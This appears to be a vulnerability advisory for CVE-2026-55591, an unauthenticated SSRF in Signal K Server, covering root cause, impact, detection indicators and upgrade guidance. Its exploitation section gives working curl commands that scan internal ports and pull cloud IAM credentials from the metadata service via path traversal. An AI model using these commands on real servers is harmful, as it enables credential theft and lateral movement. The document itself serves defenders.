CVE-2026-55591: 
JavaScript Schwachstellenanalyse und -minderung

CVE-2026-55591 is a Server-Side Request Forgery (SSRF) vulnerability in Signal K Server (signalk-server), an open-source marine data server. It affects all versions up to and including 2.27.0, and was published on June 16, 2026 by maintainer tkurki, with the advisory added to the GitHub Advisory Database on June 18, 2026. The vulnerability exists in three administrative endpoints used for remote Signal K server connection management, and is exploitable without authentication on default installations. It carries a CVSS v3.1 base score of 5.8 (Moderate) (GitHub Advisory, SignalK Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): the makeRemoteRequest() function in src/serverroutes.ts (lines 2483–2524) accepts attacker-controlled host, port, useTLS, and selfsignedcert parameters with zero validation, allowing arbitrary HTTP/HTTPS requests to any destination including loopback, RFC 1918 private ranges, and cloud metadata services (e.g., 169.254.169.254). The vulnerability is compounded by an authentication bypass: the three affected endpoints (/skServer/testSignalKConnection, /skServer/requestAccess, /skServer/checkAccessRequest) are nominally protected by addAdminMiddleware(), but on default installations without a configured admin user, the server uses dummysecurity.ts where addAdminMiddleware is a no-op, making all three endpoints publicly accessible. Additionally, the selfsignedcert parameter directly controls rejectUnauthorized, allowing an attacker to disable TLS certificate verification, and the checkAccessRequest endpoint is vulnerable to path traversal via unsanitized interpolation of requestId into the URL path. A public PoC is included in the advisory (SignalK Advisory).

Successful exploitation allows an unauthenticated remote attacker to perform internal network scanning (distinguishing open, closed, and filtered ports via response differentiation), exfiltrate cloud instance metadata (including IAM credentials and identity tokens from AWS IMDSv1, GCP, and Azure IMDS at 169.254.169.254), and read data from internal HTTP services not otherwise internet-accessible. The requestAccess endpoint enables server-side POST requests to internal APIs with attacker-controlled bodies, and in containerized or Kubernetes environments, the vulnerability can be leveraged to access cluster-internal services, the Kubernetes API, or other containers on the Docker network, enabling lateral movement (SignalK Advisory).

1. Reconnaissance: Identify internet-facing signalk-server instances (default port 3000) using tools like Shodan or Censys. Confirm the server is running version ≤ 2.27.0 and has no authentication configured by checking GET /skServer/loginStatus for "authenticationRequired":false.

2. Confirm SSRF via loopback: Send a POST request to the testSignalKConnection endpoint targeting the server itself to confirm the SSRF is exploitable:

curl -s -X POST http://<TARGET>:3000/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'

A successful response with server version info confirms the vulnerability.

3. Internal network scanning: Probe internal hosts and ports by varying host and port values. Distinguish open ports (HTTP response), closed ports (immediate ECONNREFUSED), and filtered ports (10-second timeout) to map internal network topology.

4. Cloud metadata exfiltration: On cloud-hosted instances, target the IMDS endpoint to retrieve metadata:

curl -s -X POST http://<TARGET>:3000/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}'

5. Deep metadata path traversal: Use the checkAccessRequest endpoint with a path-traversal requestId to access specific metadata paths (e.g., IAM credentials):

curl -s -X POST http://<TARGET>:3000/skServer/checkAccessRequest \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}'

6. Lateral movement: Use discovered internal service addresses and credentials to pivot to other internal systems, Kubernetes API servers, or cloud resources (SignalK Advisory).

• Network: Outbound HTTP/HTTPS connections from the signalk-server process to 169.254.169.254 (cloud metadata), RFC 1918 addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), or loopback (127.0.0.1) on unexpected ports; repeated outbound connection attempts to sequential ports (indicative of port scanning).
• Logs: Repeated POST requests to /skServer/testSignalKConnection, /skServer/requestAccess, or /skServer/checkAccessRequest from external or unexpected source IPs in the signalk-server access logs; requests containing requestId values with ../ path traversal sequences.
• Application Behavior: Requests to the above endpoints returning ECONNREFUSED or Connection timed out errors in rapid succession, suggesting automated port scanning; responses containing cloud metadata content or internal service data.
• Process: Unusual outbound TCP connections initiated by the Node.js signalk-server process to internal network ranges or metadata service IPs, observable via netstat, ss, or endpoint detection tools (SignalK Advisory).

Upgrade signalk-server to version 2.28.0 or later, which contains the fix for this vulnerability (GitHub Advisory). As an immediate workaround, configure an admin user and enable security on the signalk-server instance, which activates the addAdminMiddleware() protection and requires authentication for the affected endpoints. Additionally, restrict network access to the signalk-server admin interface (default port 3000) using firewall rules to prevent unauthenticated external access. On cloud-hosted instances, enforce IMDSv2 (which requires a session token) to mitigate metadata service exfiltration even if SSRF is present.